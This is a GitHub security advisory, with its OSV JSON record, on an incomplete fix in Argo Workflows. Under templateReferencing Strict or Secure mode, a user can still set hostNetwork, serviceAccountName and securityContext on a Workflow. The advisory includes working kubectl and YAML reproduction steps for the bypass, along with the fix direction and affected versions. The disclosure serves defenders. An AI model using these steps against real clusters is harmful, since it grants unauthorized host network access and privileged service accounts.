GHSA-3775-99MW-8RP4
Vulnerability from github – Published: 2026-05-04 20:11 – Updated: 2026-05-13 13:39The fix for CVE-2026-31892 (commit 534f4ff) blocks podSpecPatch when templateReferencing: Strict is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set hostNetwork: true, override serviceAccountName, or change securityContext on their Workflow while referencing a hardened template -- these survive JoinWorkflowSpec and get applied at pod creation.
The check in setExecWorkflow gates on HasPodSpecPatch() only:
if woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {
Everything else passes through. createWorkflowPod reads hostNetwork, securityContext, serviceAccountName, tolerations, and automountServiceAccountToken from the merged spec and applies them directly to the pod.
JoinWorkflowSpec constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like hostNetwork (most won't -- false is the zero value and gets omitted), the user's true survives. For fields like securityContext and serviceAccountName, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.
Both Strict and Secure modes are affected. Secure stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent MustNotChangeSpec comparisons pass.
Steps to reproduce
Tested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.
# enable strict mode
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
-p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
kubectl rollout restart deployment workflow-controller -n argo
A template that lists network interfaces:
cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: netcheck
spec:
entrypoint: check
templates:
- name: check
container:
image: alpine:latest
command: ["/bin/sh", "-c"]
args: ["ip addr show | grep -E '^[0-9]+:' | cut -d: -f2"]
EOF
Submit a workflow with hostNetwork: true:
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: bypass-
spec:
workflowTemplateRef:
name: netcheck
hostNetwork: true
EOF
Pod gets host networking:
$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'
true
Container without the override sees eth0@if20. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.
podSpecPatch IS correctly blocked on the same cluster:
$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'
podSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction
serviceAccountName override also works -- a workflow with serviceAccountName: argo-server creates a pod running under the argo-server SA instead of the namespace default:
$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath='{.items[0].spec.serviceAccountName}'
argo-server
Tested in Secure mode as well -- same result. Pod created with hostNetwork: true before the workflow errors on an unrelated permission issue.
Impact
A user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.
The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed.
Fix direction
The check in setExecWorkflow should cover all WorkflowSpec fields that influence pod security posture, not just podSpecPatch. The affected fields that I confirmed in createWorkflowPod: hostNetwork, securityContext, serviceAccountName, automountServiceAccountToken, tolerations, dnsPolicy, schedulerName, hostAliases, volumes.
An alternative approach: when MustUseReference() is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.
Affected versions
All versions supporting templateReferencing, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42296"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T20:11:38Z",
"nvd_published_at": "2026-05-09T04:16:25Z",
"severity": "HIGH"
},
"details": "The fix for CVE-2026-31892 (commit 534f4ff) blocks `podSpecPatch` when `templateReferencing: Strict` is active, but doesn\u0027t restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set `hostNetwork: true`, override `serviceAccountName`, or change `securityContext` on their Workflow while referencing a hardened template -- these survive `JoinWorkflowSpec` and get applied at pod creation.\n\nThe check in `setExecWorkflow` gates on `HasPodSpecPatch()` only:\n\n```go\nif woc.controller.Config.WorkflowRestrictions.MustUseReference() \u0026\u0026 woc.wf.Spec.HasPodSpecPatch() {\n```\n\nEverything else passes through. `createWorkflowPod` reads `hostNetwork`, `securityContext`, `serviceAccountName`, `tolerations`, and `automountServiceAccountToken` from the merged spec and applies them directly to the pod.\n\n`JoinWorkflowSpec` constructs the merge target from the user\u0027s spec and applies the template as a patch -- user fields take priority. When the template doesn\u0027t explicitly set a field like `hostNetwork` (most won\u0027t -- `false` is the zero value and gets omitted), the user\u0027s `true` survives. For fields like `securityContext` and `serviceAccountName`, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.\n\nBoth `Strict` and `Secure` modes are affected. `Secure` stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent `MustNotChangeSpec` comparisons pass.\n\n## Steps to reproduce\n\nTested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.\n\n```bash\n# enable strict mode\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n -p \u0027{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}\u0027\nkubectl rollout restart deployment workflow-controller -n argo\n```\n\nA template that lists network interfaces:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n name: netcheck\nspec:\n entrypoint: check\n templates:\n - name: check\n container:\n image: alpine:latest\n command: [\"/bin/sh\", \"-c\"]\n args: [\"ip addr show | grep -E \u0027^[0-9]+:\u0027 | cut -d: -f2\"]\nEOF\n```\n\nSubmit a workflow with `hostNetwork: true`:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: bypass-\nspec:\n workflowTemplateRef:\n name: netcheck\n hostNetwork: true\nEOF\n```\n\nPod gets host networking:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath=\u0027{.items[0].spec.hostNetwork}\u0027\ntrue\n```\n\nContainer without the override sees `eth0@if20`. With the override, the pod sees the host\u0027s full network namespace -- all veth interfaces for other containers on the node.\n\n`podSpecPatch` IS correctly blocked on the same cluster:\n\n```\n$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath=\u0027{.status.message}\u0027\npodSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction\n```\n\n`serviceAccountName` override also works -- a workflow with `serviceAccountName: argo-server` creates a pod running under the `argo-server` SA instead of the namespace default:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath=\u0027{.items[0].spec.serviceAccountName}\u0027\nargo-server\n```\n\nTested in Secure mode as well -- same result. Pod created with `hostNetwork: true` before the workflow errors on an unrelated permission issue.\n\n## Impact\n\nA user with `create Workflow` permission can bypass `templateReferencing: Strict` to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.\n\nThe practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like `hostNetwork`). Clusters that rely on Argo\u0027s Strict mode as the primary enforcement layer are fully exposed.\n\n## Fix direction\n\nThe check in `setExecWorkflow` should cover all WorkflowSpec fields that influence pod security posture, not just `podSpecPatch`. The affected fields that I confirmed in `createWorkflowPod`: `hostNetwork`, `securityContext`, `serviceAccountName`, `automountServiceAccountToken`, `tolerations`, `dnsPolicy`, `schedulerName`, `hostAliases`, `volumes`.\n\nAn alternative approach: when `MustUseReference()` is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.\n\n## Affected versions\n\nAll versions supporting `templateReferencing`, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.",
"id": "GHSA-3775-99mw-8rp4",
"modified": "2026-05-13T13:39:21Z",
"published": "2026-05-04T20:11:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3775-99mw-8rp4"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42296"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/2727f3f701677d467dfb5e053c57237cbc752c3c"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950d"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.